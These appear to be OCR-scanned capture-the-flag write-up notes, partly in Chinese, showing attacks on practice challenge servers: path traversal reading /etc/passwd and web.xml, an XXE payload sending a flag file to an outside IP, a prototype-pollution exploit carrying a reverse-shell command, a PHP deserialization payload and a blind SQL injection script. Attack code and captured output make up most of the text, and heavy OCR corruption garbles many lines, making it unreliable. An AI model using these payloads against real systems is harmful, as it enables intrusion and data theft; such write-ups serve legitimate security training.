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GET & HTTF/1.1 200 OK

/DownloadServlet?filename=../../../../ ../ ../ ../ ../ .0 /. /. ./etce/passud - Server: openresty

HTTF/ 1.1 Date: Mon, 11 May Z0Z0 04:50:1& GMT

Host: 4Zddf4la-8a65-4aac-bh493-dZbhIodd474712 . noded . buuoi.cn Content-Type: text/plain:; charset=utf-8

User-Agent: Mozilla/5.0 (Windows NT 10.0:; Winé4: =x64; rv:76.0) Content-Length: 961

Gecko/20100101 Firefox/78.0 Connection: close

Accept: Content-Disposition:

text/html, application/xhtml+xml, application/xml; g=0.9, image/webp, */*; q=0. attachmwent;filenam==..%ZF..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..
8 %2F..%2FetcsiFpasswd

Accept-Languages :

zh-CHM, zh: q=0.8, zh-TW. =0.7, zh-HE; q=0.5,en-U3;q=0.3,en; q=0.2 root:x:0:0:root:/root:/bin/bash

Accept-Encoding: gzip, deflate dasmon:x:l:l:dasmon: /usr/sbhin:/usr/shin/nologin

Referer: bin:x: bin:/bin:/usr/shin/nologin
http://42ddf4Za-Baé5-4aac-h493-d2h29d474712 . node3 . buuoi.cn/UploadServiet sys:x:3:3:sys:/dev:/usr/sbin/nologin

Connection: close sync:x:4:65534:sync: /bin: /bin/svync

Cookie: JSESSIONID=5C104DDDADFOBS5A09858FE3087C5307 games:x:5:60:games: /usr/games: /usr/shin/nologin
TUpgrade-Insecure-Requests: L man:x:£: 12 iman: /var/cache/man: /usr/sbin/nologin

lp:x:7:7:1lp:/var/spool/lpd: /fusr/sbhin/nologin

| mail:x:8:8:mail:/var/mail: /usr/sbhin/nologin
news:x:9:9:news: /var/spool/news:/usr/shin/nologin
uucp:x:10:10:uucp: /fvar/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www—data:x:33:33:wwv-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ire:x:39:3%9:ired:/var/run/ired: /usr/shin/nologin
gnats:x:41l:41:Gnats Bug-Feporting System

{admin) : /var/lib/gnats:/usr/sbin/nologin
nobody:x:£5534: 65534 :nobody: /nonexistent:/usc/shin/nologin
_aptix:100:E65534: :/nonexistent:/usr/shin/nologin
app:x:1000:1000: :/ home/app: /bin/sh
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FOST /UploadSerwvlet HTTFE/L.1

Host: 4Zddf4la-BafS5-4aac-b493-dibISd474712 . node3 . buucj.cn

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:7e.0
Gecko/Z0L0010L Firefox/76.0

Aooept:

text/html, application/xhtml+xml, application/xml; q=0.9, image/wehp, */ *; q=0.
=)

Aeoecepo-Languadge:

zh-CHN, zh;q=0.8, zh-TW;gq=0.7, zh-HE: g=0.5,en-U3;q=0.3,en;q=0.Z2
Accept-Encoding: gzip, deflate

Feferer: http://42ddf4la-8a65-4aac-h493-d2b29d474712 .. node3 .. buuoj.cn/
Content-Type: multipart/form-data;

boundary=
Content-Length: 3727

Origin: http://42ddfd4la-BaE5-2aac-h493-dIlbI9d474712 . nods3.buuc].cn
Connection: close

Cookie: JSESSIONID=5CL04DDDADFSESESABSSSEFE3087C5307
Upgrade-Insecure-Requests: L

197306056835050489134105279439

19730605683505048515410527594
Content-Disposition: form-data; nams="file"; filename="../ /app.is"
Content-Type: application/x-javascript

var express = reguire('express');

var path = require('path');:

const undsfsafe = require|'undsfsafe');
const { exec } = require('child process'):

Var app = exXpress|();
class Notes |
constructor () {
this.owner =
this.num = 0;
this.note_list = [}

"wholmows";

}

write nAareianrhar  raw narel

HTTP/1.1 500 Internal Server Error
Server: openresty

Date: Mon, 11 May Z0Z0 04:48:52 GMT
Content-Type: text/html;charsset=utf-g8
Content-Length: 1edl

Connection: close

Content-Language: zh-CMN

<!doctype html><html lang=" "><head><title>HTTP Status 500 - Internal

Server Error</titler<style type="text/css">body

{font-family:Tahoma,Arial,sans-serif:;} hl, h2, h3, b

{color:white ;background-coloer :#525D76;} hl {font-size:22px;} h2

{font-size:16px;} h3 {font-size:14px;} p {font-size:12px:} a

{color:black:;} .line

{height:1px :background-color:#525D76 ;horder:none;}</styls></head><body><

hl>HTTP Status 500 — Internal Server Error</hl><hr class="lins"

/»<pr<h>Type</b> O0000</p><p><b>00<)b>

EH47 ;usr&#d7 local&hd7 ;tomcat&i47 ;webapps&#d7 ;RO0TL&HAT ;'WEB-INF&H4T ;uploa

d&HAT7 86447 ;96H#47 :36722b6d-8534-4428-ad2a-bch7£79£613d . .&H#47 ;app.Jjs

(Mo such file or directory)</p><pl<b>00</b> -

O00000000000000000000</ pr<pr<b>Exfleption</b></p><pre>java.io.FilelHotFoun

dException: {’

EH47 ;usr&fi47 ;localthd7 ;tomcat&l 47 ;webappsai47 ;RO0TEH 47 ;WEB-INFEH4T ;uploa

A& 47 ;86447 ;96447 ;36722b6d-8534-4428-ad2a-bcbhTE79£613d . .&L#47 ;app.Js

{Wo such file or directory)
Java.io.FileOutputStream.opend({Hative Method)
Java.io.FileOutputStream.open(FileOutputStream.java:270)
Java.io.FileOutputStream. &1t init&gt:(FileOutputStream.java:213)
Java.io.FileOutputStream.&1t;init&gt ;(FileOutputStream.java:101)
cn.abec.servlet.UploadServlet.doPost(UploadServlet.java:76)
Javax.servlet http.HttpServlet.service(HttpServlet.java:660)
Jjavax.servlet http.HttpServlet.service(HttpServlet.java:741)

org. ‘he . tomcat .wek ket .server .WsFilter.doFilter(WsFilter.java:52)
</prex<p><h>):00</k> 0000000 stack 00000 server logs O00</p=<hr
class="1lins" /><h3i-Apache Tomcatf8.5.54</hi></body></html>
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Seistweb . xml

Send Cancel < |v > |

Request

Raw | Params | Headers | Hex

Target: http://42ddf42a-Bab5-4aac-b493-d2b29d474712.nodel.buuoj

Response

Raw | Headers | Hex | XML

GET

/DownloadServiet?filename=../../../ ../ ../ ../ ../ ./ 00 00 0 fuse/ local/t

omecat/webapps/ROOT/ WEE—INF/web . xml| HTTP/ 1.1

Host: 4Zddf4la-Sags-4aac-h493-dIbISdd7471C .node3 . bhuuoj.cn
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; =&E4; rv:7&.0)
Gecko/Z0l0010Ll Firefox/76.0

Aocept:

text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, */ *; q=0.

g

Accept-Languages:

zh-CHN, zh; gq=0.8, zh-TW; q=0.7, zh-HE; q=0.5,en-U3; q=0.3,en;q=0.2
Aoccept-Encoding: gzip, deflate

Referer:

http://42ddf42a-BaE5-4aac-b493-d2h29d474712 . node3 .buuoj.cn/UploadServiet

Connection: close
Cookie: JSESSTIONID=5C104DDDADFSSE55A89858FE3087C5307
Upgrade-Insecure-Requests: 1

5 BT

A Date: Mon, 11 May Z0Z0 0O4:56:18 GHT
- Content-Type: text/xml; charset=utf-g8

Content-Length: 1207

Connection: close

Content-Disposition:
attachment;filename=..%2F..%ZF..5%2F..%2F. .%2F..%2F..%lF
ZF..%2FusriZFlocalsiFtomcatsZFwebappst ZFROOTS ZFWEE-TNF%ZFweb . xml

<?xml version="1.0" encoding="UTF-8"2>
<web—app xmlns="http://=xmlns.jcp.org/xml/ns/javase"
xmlns:xsi="http://www.w3.org/200L/¥MLSchema-instance”
xgi:schemalocation="http://«xmlns.jocp.org/xml/ns/javases
http://xmlns.jcp.org/xml/ns/javase/weh-app 4 0.xsd"
version="4.0">
<servlet>
<servlet-name:>DownloadServlet</s=srvlst-name:>

<servlet-class>on.abc.servlet .DownloadServlet</serviet-cla

</serviets>

<servlet-mapping:>
<gervlet-nams>DownloadServlet</ssrvlst-nams>
<url-pattern>fDownloadsServlet</url-pattern>
</zervilet-mapping>

<gervlets
<servlet-namerListFileServlet</scrvlst-names>

<servliet-class>on.abc.servlet . ListFileServlet</serviet-cla

</serviets>

<gervilet-mappings
<servlet-namerListFileServlet</scervlst-names>
<ur l-pattern>/ListFileServlet</ur l-patterns>
</servilet-mapping>

<gervlets>
<servlet-nams>UploadServlet</serviet-name>

<zervlet-class>cn. abe.servlet.UploadServlet</s=srviet-class

</serviet>

<servlet-mapping>
<gervlet-name>UploadServlet</ssrviet-names>
<url-pattern>/UploadServlet</url-patterns>
<fservilet-mapping>

- </web-app>

5ZF..%ZF.



e cn.abc.serviet.ListFileServiet
e cn.abc.serviet. DownloadServiet

e cn.abc.serviet.UploadServiet

Miclass X/ — M #ifEclasses 3T, FrUAFRAIE B UploadServiet, HEE&EN:

oS/ /o /.. /.. /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.c
lass
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[Content_Types].xmISCHF B T

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<!DOCTYPE try[

<IENTITY % int SYSTEM "http://174.1.59.194/e.xml">

%int;

%all;

%send;

1>

<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentTyp
e="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/
xml"/><Override PartName="/x1/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadshe
etml.sheet.main+xml"/><0Override PartName="/x1l/worksheets/sheetl.xml" ContentType="application/vnd.openxmlformats
-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/x1/theme/themel.xml" ContentType="application
/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/x1/styles.xml" ContentType="application/vnd.
openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="ap
plication/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="a
pplication/vnd.openxmlformats-officedocument.extended-properties+xml"”/></Types>

RIGTEH SRS 28 T ie.xml
WA

<IENTITY % payl SYSTEM "file:///flag">
<IENTITY % all "<!ENTITY &#37; send SYSTEM 'http://174.1.59.194:555/?%payl; " '>">
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notes

XAR—18 nodejs KIEEH, BAUNE, XEBEHE—BHRE, FEERFENIT —TF
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var express = require('express');

var path = require('path');

const undefsafe = require('undefsafe');
const { exec } = require('child_process"');


https://www.cnblogs.com/thespace/p/12400719.html

var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};

write note(author, raw_note) {
this.note_list[ (this.num++).toString()] = {"author": author,"raw_note":raw_note};

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;

edit_note(id, author, raw) {
undefsafe(this.note_list, id +
undefsafe(this.note_list, id +

.author', author);

.raw_note', raw);

get_all notes() {
return this.note_list;

remove_note(id) {
delete this.note_list[id];

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, ‘'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, ‘public')));

app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });

1)

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
)
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
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app.route('/edit_note")
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
)
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit _note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});

)

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
)
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});

1)

app.route('/notes")
.get(function(req, res) {
let q = req.query.q;
let a_note;

if (typeof(q) === "undefined") {
a_note = notes.get all notes();
} else {

a_note = notes.get note(q);
}
res.render('note', {list: a_note});

1)

app.route('/status"')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
¥
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log( stdout: %{stdout} );
1



res.send('0OK");
res.end();

)
const port = 666;

app.listen(port, () => console.log( Example app listening at http://localhost:${port} ))
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var a = require("undefsafe");

var payload = "_ proto__.toString";
a({},payload, "JHU");
console.log({}.toString);

SHEE

U R T
HEE /edit_note B, X=ANSHBATER A2
IS HUN:

id=__proto__&author=%2f%62%69%6e%2%62%61%73%68%20%2d%63%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%6
3%70%21%31%37%34%2e%31%2e%35%39%2e%31%39%34%2f%35%35%35%20%30%3€%26%31&raw=1

E#x#shell, 3%158 flag

AreUSerialz
BOEBBRATNE T A —1L, S5 S £ 4 B4 B B~~~ (22
BOBVERDR R, R SRR G+ B R B

FER AL protected FHIRFHRFZR/F
A TG %00 T DL 2 A S0, B ELEEF public AVB, RN php7. 1+ RFFULATKSETGUS, R IER MR AR E

BT RV — T BATRAF T2 75 4 iy He

2 B A publicf B proteced, RTFEH—TERMBHEANE (RIS _ wakeup FIFRF L) BEEHEL flag.php T
FATH B A LRI R geid proteted ) —F 5 T, hhh

JakfEbuu LB, BHEHIX/NpayloadiiT T
0:11:"FileHandler":3:{s:2:"op";1i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
A B8 24 B B S8 RTbuu_b PR A — IR~~~
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# encoding=utf-8
import requests
import time

url="http://b5973f1b497b40f{9e8875428cbf9558f1led1af239e9491f.cloudgamel.ichunqiu.com/register_do.php"
proxies = {
"http": "http://127.0.0.1:8080",

)
flag="flag{"
#erfenfa
for i in range(6,50):
high = 127
low = 44
mid = (low + high) // 2

while high > low:

#payload=r"id=\\0&path=or 1=(ascii(mid(CONCAT_WS(CHAR(32,58,32),user(),database(),version()),{},1))>{})--+" #6
5

payload=r"ddd',exp(if(ascii(mid((select a.2 from (select 1,2 union select * from flag)a limit 1,1),{},1))>{},s
leep(4),0)+10000))-- -"

#payload=r"11',if(ascii(mid(user(),{},1))>{},sleep(3),1))-- -"

#payload=r"id=\\0&path=or 1=(ascii(mid((select password from users Limit 1 offset 0),{},1))>{})--+"

#url_1=url+payload. format(i,mid)

data={"username":payload.format(i,mid), "password":"ddd"}
print(payload.format(i,mid))

s_time=time.time()

r=requests.post(url,data=data, proxies=proxies)
print(r.content)

e_time=time.time()

if e_time-s_time>3:

low=mid+1
else:
high=mid

mid=(low+high)//2

time.sleep(1)
flag+=chr(mid)
print(flag)

if(ascii(mid(user(),1,1))>43,sleep(5),1)

sys.schema_auto_increment_columns

if((ascii(mid((select/**/group_concat(table NAME)/**/from/**/mysql.innodb_table_ stats/**/where/**/table_schema=d
atabase()),1,1))>1),sleep(5),1)"""’

#if(ascii(mid((select/**/group_concat(table_ NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table
_schema=database()),1,1))>1)

#if(ascii(mid((select/**/group_concat(table NAME)/**/from/**/information_schema.tables/**/where/**/table_schema=
database()),1,1))>1,sleep(5),1)

#if(ascii(mid((select/**/group_concat(table NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table
_schema=database()),{},1))>{},sleep(5),1)

#select a.2 from (select 1,2 union select * from Flag)a Limit 1,1

#if(ascii(mid((select select a.2 from (select 1,2 union select * from Flag)a Limit 1,1),{},1))>{},sleep(3),1)
#flag{dbfb184e62-ed9834-437a3-ak2d1a80-7}

#14 2

#flag{8be2fcc4-a40a-48f6-8554-9f2789f3df1c}

#21 4
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